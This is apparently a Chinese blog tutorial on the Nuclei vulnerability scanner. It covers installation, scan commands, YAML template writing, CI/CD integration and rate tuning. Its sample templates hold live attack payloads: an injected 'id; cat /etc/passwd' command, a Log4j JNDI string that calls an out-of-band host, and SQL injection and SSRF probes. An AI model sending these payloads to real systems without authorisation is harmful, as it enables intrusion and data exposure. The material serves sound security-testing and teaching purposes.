GitHub热门项目-Nuclei漏洞扫描引擎深度解析
Nuclei是ProjectDiscovery开发的快速、可定制的漏洞扫描器,基于YAML模板实现漏洞检测。凭借其高性能和灵活的模板系统,已成为安全研究人员和渗透测试人员的必备工具,GitHub Star数超过20k。
使用背景:公司内部攻防演练和周会巡检都用Nuclei,所以文章里会加入一些“踩坑”记录(例如模板过载、OOB忘记关导致告警被打爆)。
一、Nuclei概述
1.1 项目信息
1.2 核心特性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ┌─────────────────────────────────────────────────────────────┐ │ Nuclei 核心架构 │ ├─────────────────────────────────────────────────────────────┤ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ 模板引擎 │ │ 协议支持 │ │ 输出模块 │ │ │ │ (YAML) │ │ (多协议) │ │ (多格式) │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ │ │ │ ┌──────▼──────────────────▼────────────────▼──────┐ │ │ │ 扫描引擎 (Scan Engine) │ │ │ │ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ │ │ │ │ │ HTTP │ │ DNS │ │ TCP │ │ 更多 │ │ │ │ │ │ Scanner│ │ Scanner│ │ Scanner│ │ ... │ │ │ │ │ └────────┘ └────────┘ └────────┘ └────────┘ │ │ │ └─────────────────────────────────────────────────┘ │ │ │ │ │ ┌───────────────────────▼───────────────────────┐ │ │ │ 并发控制 & 速率限制 │ │ │ └───────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────┘
|
- 模板引擎:负责解析YAML模板与DSL逻辑,等同于“规则库”。
- 协议扫描器:HTTP/DNS/TCP等模块独立运行,常见问题大多是这里的参数没写对。
- 并发控制/速率限制:是压测和生产任务之间的“刹车系统”,忽略它就很容易把目标扫挂。
1.3 支持的协议
| 协议 |
用途 |
示例场景 |
| HTTP |
Web漏洞扫描 |
XSS、SQL注入、RCE |
| DNS |
DNS记录检测 |
子域名接管、DNS配置 |
| TCP |
端口服务检测 |
服务指纹、Banner抓取 |
| SSL |
证书检测 |
证书过期、弱加密 |
| File |
本地文件分析 |
配置审计、敏感信息 |
| Headless |
浏览器渲染 |
DOM XSS、JS分析 |
| Websocket |
WS协议检测 |
WS漏洞检测 |
| WHOIS |
域名信息 |
域名到期检测 |
| Code |
代码执行 |
自定义检测逻辑 |
二、安装与基础使用
2.1 安装方式
多种安装方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
docker pull projectdiscovery/nuclei:latest
brew install nuclei
git clone https://github.com/projectdiscovery/nuclei.git cd nuclei/cmd/nuclei go build .
nuclei -update-templates
|
环境提醒:Go安装方式要保证GOBIN在$PATH里,Mac上经常因为权限缺失导致nuclei无法直接运行;Docker版本虽然省心,但大批量扫描会额外吃掉磁盘IO,要提前监控。
2.2 基础扫描命令
常用扫描命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| nuclei -u https://example.com
nuclei -l urls.txt
nuclei -u https://example.com -t cves/ nuclei -u https://example.com -t exposures/configs/
nuclei -u https://example.com -s critical,high
nuclei -u https://example.com -tags cve,rce,lfi
nuclei -u https://example.com -exclude-templates dos/
nuclei -u https://example.com -c 50 -rl 150
nuclei -u https://example.com -o results.txt nuclei -u https://example.com -json -o results.json
nuclei -u https://example.com -silent
nuclei -u https://example.com -v nuclei -u https://example.com -debug
|
2.3 高级扫描选项
高级选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| nuclei -u https://example.com -proxy http://127.0.0.1:8080
nuclei -u https://example.com -H "Authorization: Bearer token123" nuclei -u https://example.com -H "Cookie: session=abc123"
nuclei -u https://example.com -auth-file auth.yaml
nuclei -u https://example.com -rl 100 -rlm 1000
nuclei -u https://example.com -timeout 10
nuclei -u https://example.com -retries 3
nuclei -u https://example.com -bulk-size 50 -c 25
nuclei -u https://example.com -headless
nuclei -u https://example.com -system-resolvers
nuclei -u https://example.com -stats -stats-interval 5
|
2.4 扫描顺序建议
- 先资产后漏洞:我通常先跑
technologies/、dns/类模板确认指纹,再分阶段加载CVE模板,避免噪声太大。
- 先低速再提速:生产系统初次扫描以
-c 20 -rl 50观察目标抗压能力,确认无异常后再递增,别一上来就-c 200。
- 落盘策略:扫描前就决定好
-o输出路径和-json格式,方便后续导入SIEM或自建的分析脚本。
三、模板系统深度解析
3.1 模板结构
模板基础结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| id: template-id
info: name: Template Name author: author-name severity: critical description: Description here reference: - https://example.com/advisory tags: cve,rce,wordpress classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-XXXX cwe-id: CWE-78 metadata: verified: true max-request: 2 shodan-query: http.title:"Admin Panel"
http: - method: GET path: - "{{BaseURL}}/vulnerable-endpoint"
matchers-condition: and matchers: - type: word words: - "vulnerable string" - type: status status: - 200
extractors: - type: regex regex: - "version: ([0-9.]+)"
|
3.2 HTTP请求模板
HTTP模板示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| id: sql-injection-error-based
info: name: SQL Injection (Error Based) author: security-researcher severity: high tags: sqli,injection
http: - method: GET path: - "{{BaseURL}}/search?q=1'" - "{{BaseURL}}/product?id=1'" - "{{BaseURL}}/user?id=1'"
stop-at-first-match: true
matchers-condition: or matchers: - type: word words: - "SQL syntax" - "mysql_fetch" - "ORA-01756" - "SQLite3::query" - "pg_query" - "Microsoft OLE DB Provider for SQL Server" condition: or
- type: regex regex: - "(?i)sql syntax.*mysql" - "(?i)warning.*mysql_" - "(?i)valid MySQL result" - "(?i)PostgreSQL.*ERROR" - "(?i)Driver.* SQL[-_ ]*Server"
--- id: rce-command-injection
info: name: Remote Command Execution author: security-researcher severity: critical tags: rce,injection
http: - raw: - | POST /api/execute HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"cmd":"id; cat /etc/passwd"}
matchers-condition: and matchers: - type: regex regex: - "uid=[0-9]+.*gid=[0-9]+" - "root:.*:0:0:" condition: or
- type: status status: - 200
--- id: ssrf-detection
info: name: Server Side Request Forgery author: security-researcher severity: high tags: ssrf
http: - method: GET path: - "{{BaseURL}}/fetch?url={{interactsh-url}}" - "{{BaseURL}}/proxy?target={{interactsh-url}}" - "{{BaseURL}}/load?src={{interactsh-url}}"
matchers: - type: word part: interactsh_protocol words: - "http" - "dns"
|
3.3 多协议模板
DNS/TCP/SSL模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| id: dns-zone-transfer
info: name: DNS Zone Transfer author: security-researcher severity: high tags: dns,misconfiguration
dns: - name: "{{FQDN}}" type: AXFR
matchers: - type: word words: - "IN A" - "IN NS" - "IN MX"
---
id: redis-unauthorized-access
info: name: Redis Unauthorized Access author: security-researcher severity: critical tags: redis,unauth
tcp: - inputs: - data: "INFO\r\n"
host: - "{{Hostname}}" port: 6379
matchers: - type: word words: - "redis_version" - "connected_clients"
---
id: ssl-weak-cipher
info: name: Weak SSL/TLS Cipher Detected author: security-researcher severity: medium tags: ssl,tls,misconfiguration
ssl: - address: "{{Host}}:{{Port}}"
matchers: - type: word words: - "TLS_RSA_WITH_RC4" - "TLS_RSA_WITH_3DES" - "SSL_RSA_WITH_RC4"
|
3.4 高级模板技术
高级模板特性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| id: advanced-template
info: name: Advanced Template Example author: security-researcher severity: medium
variables: random_string: "{{rand_base(8)}}" timestamp: "{{unix_time()}}" encoded_payload: "{{base64('test')}}"
http: - method: POST path: - "{{BaseURL}}/api/v1/users"
headers: Content-Type: application/json X-Request-ID: "{{random_string}}"
body: | { "username": "test_{{timestamp}}", "data": "{{encoded_payload}}" }
matchers: - type: dsl dsl: - "status_code == 200" - "contains(body, 'success')" - "len(body) > 100" condition: and
---
id: wordpress-rce-workflow
info: name: WordPress RCE Workflow author: security-researcher severity: critical
http: - method: GET path: - "{{BaseURL}}/wp-login.php"
matchers: - type: word words: - "WordPress"
extractors: - type: regex name: wp_version internal: true regex: - 'ver=([0-9.]+)'
- method: GET path: - "{{BaseURL}}/wp-includes/version.php"
matchers: - type: dsl dsl: - "compare_versions(wp_version, '< 5.8.0')"
---
id: log4j-rce-detection
info: name: Log4j RCE (CVE-2021-44228) author: security-researcher severity: critical tags: cve,cve2021,rce,log4j
http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} User-Agent: ${jndi:ldap://{{interactsh-url}}/a} X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/a} Referer: ${jndi:ldap://{{interactsh-url}}/a}
matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - "http"
- type: regex part: interactsh_request regex: - "([a-zA-Z0-9\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\."
|
3.5 自定义函数
DSL函数参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| {{base64("string")}} {{base64_decode("c3RyaW5n")}} {{url_encode("string")}} {{url_decode("%73%74%72")}} {{hex_encode("string")}} {{hex_decode("737472696e67")}} {{md5("string")}} {{sha256("string")}} {{sha1("string")}} {{mmh3("string")}} {{to_lower("STRING")}} {{to_upper("string")}} {{reverse("string")}} {{trim(" string ")}} # 去除空白 {{replace("string","s","S")}} # 替换
# 随机函数 {{rand_base(8)}} # 随机字母数字 {{rand_char("abc")}} # 随机字符 {{rand_int(1,100)}} # 随机整数 {{rand_text_alpha(10)}} # 随机字母 {{rand_text_alphanumeric(10)}} # 随机字母数字 {{rand_text_numeric(10)}} # 随机数字
# 时间函数 {{unix_time()}} # Unix时间戳 {{date_time("%Y-%m-%d")}} # 格式化时间
# 比较函数 {{contains(body,"string")}} # 包含检查 {{starts_with(body,"string")}} # 前缀检查 {{ends_with(body,"string")}} # 后缀检查 {{regex_match(body,"pattern")}} # 正则匹配 {{compare_versions("1.0","2.0")}} # 版本比较
# 数学函数 {{len(body)}} # 长度 {{add(1,2)}} # 加法 {{subtract(5,3)}} # 减法 {{multiply(2,3)}} # 乘法 {{divide(10,2)}} # 除法
|
3.6 模板编写心得
- 命名可追溯:
id里加入公司缩写或专项名称(如corp-oa-rce)便于在CI系统里快速过滤。
- 离线靶场验证:模板上线前都先在模拟靶场跑一遍,避免第一时间就打到生产系统引发误报或性能问题。
- 组合匹配器:针对易误报的服务,加上
status + word + regex的组合条件,虽多写几行,但后期报告才不会被甲方质疑。
四、实战应用场景
4.1 CVE漏洞扫描
CVE扫描示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| nuclei -u https://target.com -t cves/
nuclei -u https://target.com -t cves/2024/ nuclei -u https://target.com -t cves/2023/
nuclei -u https://target.com -t cves/2024/CVE-2024-XXXX.yaml
nuclei -u https://target.com -t cves/ -s critical,high
cat targets.txt | nuclei -t cves/ -s critical -o cve_results.json -json
|
4.2 Web应用安全扫描
Web安全扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| nuclei -u https://target.com -t exposures/
nuclei -u https://target.com -t exposures/configs/
nuclei -u https://target.com -t exposures/backups/
nuclei -u https://target.com -t default-logins/
nuclei -u https://target.com -t technologies/
nuclei -u https://target.com \ -t cves/ \ -t vulnerabilities/ \ -t exposures/ \ -t misconfiguration/ \ -t default-logins/ \ -s medium,high,critical \ -o web_scan_results.json -json
|
4.3 云安全扫描
云环境扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| nuclei -u https://target.com -t cloud/aws/
nuclei -u https://target.com -t cloud/azure/
nuclei -u https://target.com -t cloud/gcp/
nuclei -u https://k8s-api.target.com -t cloud/kubernetes/
nuclei -u https://target.com -t cloud/metadata/
|
4.4 自动化集成
CI/CD集成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| name: Security Scan
on: push: branches: [main] schedule: - cron: '0 0 * * *'
jobs: nuclei-scan: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3
- name: Install Nuclei run: | go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest nuclei -update-templates
- name: Run Nuclei Scan run: | nuclei -u https://example.com \ -t cves/ \ -t vulnerabilities/ \ -s high,critical \ -json -o nuclei-results.json
- name: Upload Results uses: actions/upload-artifact@v3 with: name: nuclei-results path: nuclei-results.json
- name: Check for Critical Findings run: | if grep -q '"severity":"critical"' nuclei-results.json; then echo "Critical vulnerabilities found!" exit 1 fi
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import subprocess import json
def run_nuclei_scan(target, templates, severity="high,critical"): cmd = [ "nuclei", "-u", target, "-t", templates, "-s", severity, "-json", "-silent" ]
result = subprocess.run(cmd, capture_output=True, text=True)
findings = [] for line in result.stdout.strip().split('\n'): if line: findings.append(json.loads(line))
return findings
findings = run_nuclei_scan( "https://example.com", "cves/,vulnerabilities/", "medium,high,critical" )
for finding in findings: print(f"[{finding['info']['severity']}] {finding['info']['name']}") print(f" URL: {finding['matched-at']}") print(f" Template: {finding['template-id']}")
|
五、性能优化
5.1 扫描优化配置
性能优化参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| nuclei -u https://target.com \ -c 100 \ -rl 500 \ -bulk-size 100 \ -timeout 5 \ -retries 1 \ -mhe 10 \ -project \ -resume
nuclei -l targets.txt \ -c 200 \ -rl 1000 \ -bulk-size 200 \ -t cves/ \ -s critical,high \ -stats \ -stats-interval 10 \ -o results.json -json
nuclei -u https://target.com \ -stream \ -no-interactsh \ -passive
|
5.2 配置文件
nuclei配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
|
concurrency: 50 rate-limit: 150 bulk-size: 50
timeout: 10 retries: 2
templates: - cves/ - vulnerabilities/ - exposures/ severity: - critical - high - medium
output: results.json json: true silent: false
header: - "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
exclude-templates: - dos/ - fuzzing/
interactsh-server: https://interact.sh interactsh-token: your-token
report-config: report-config.yaml
|
5.3 压测记录
- 本地VS云端:在本地16C主机上,
-c 200 -rl 800已经是上限;迁到云端后还得留意云厂商的EIP限速,不然直接被封锁。
- Interactsh频率:OOB检测会产生额外回调,我在批量扫描时把
-ni(no-interactsh)作为默认,只在专项任务再开启。
- 项目模式:
-project和-resume是真正的救命稻草,断网或终止扫描后能原地恢复,尤其适合处理几十万个资产。
- 实测速率取舍:一次内部资产扫测对比了两组参数——
-c 80 -rl 200耗时73分钟,HTTP 5xx 占比 <0.5%;-c 180 -rl 600耗时29分钟但5xx 占比飙到6%,最终选用中间档-c 120 -rl 350平衡稳定性。
六、最佳实践
6.1 模板开发规范
1 2 3 4 5 6 7 8 9
| □ 唯一且描述性的template-id □ 完整的info部分(name, author, severity, description) □ 准确的severity评级 □ 相关的tags标签 □ 参考链接(CVE、厂商公告等) □ 精确的匹配器(避免误报) □ 适当的请求数量(避免过多请求) □ 测试验证(在已知漏洞环境测试)
|
6.2 扫描策略建议
| 场景 |
推荐配置 |
| 快速扫描 |
-s critical,high -c 100 -rl 300 |
| 全面扫描 |
-s info,low,medium,high,critical -c 50 |
| 隐蔽扫描 |
-c 10 -rl 30 -timeout 30 |
| CI/CD集成 |
-s high,critical -silent -json |
| 大规模扫描 |
-c 200 -rl 1000 -bulk-size 200 -stream |
6.3 安全注意事项
- 授权扫描:确保获得目标系统的扫描授权
- 速率控制:避免对目标造成DoS影响
- 敏感数据:妥善处理扫描结果中的敏感信息
- 模板审核:使用前审核第三方模板
- 日志记录:保留扫描日志用于审计
七、总结
Nuclei凭借其灵活的模板系统和高性能扫描引擎,已成为现代安全测试的核心工具。其优势在于:
- 可扩展性:YAML模板易于编写和共享
- 高性能:Go语言实现,支持大规模并发
- 社区驱动:9000+官方模板持续更新
- 多协议支持:HTTP、DNS、TCP、SSL等
- 易于集成:支持CI/CD和自动化流程
掌握Nuclei不仅能提升漏洞发现效率,更能帮助安全团队建立标准化的安全测试流程。
注意:本文内容仅供授权的安全测试和学习研究使用,未经授权扫描他人系统属于违法行为。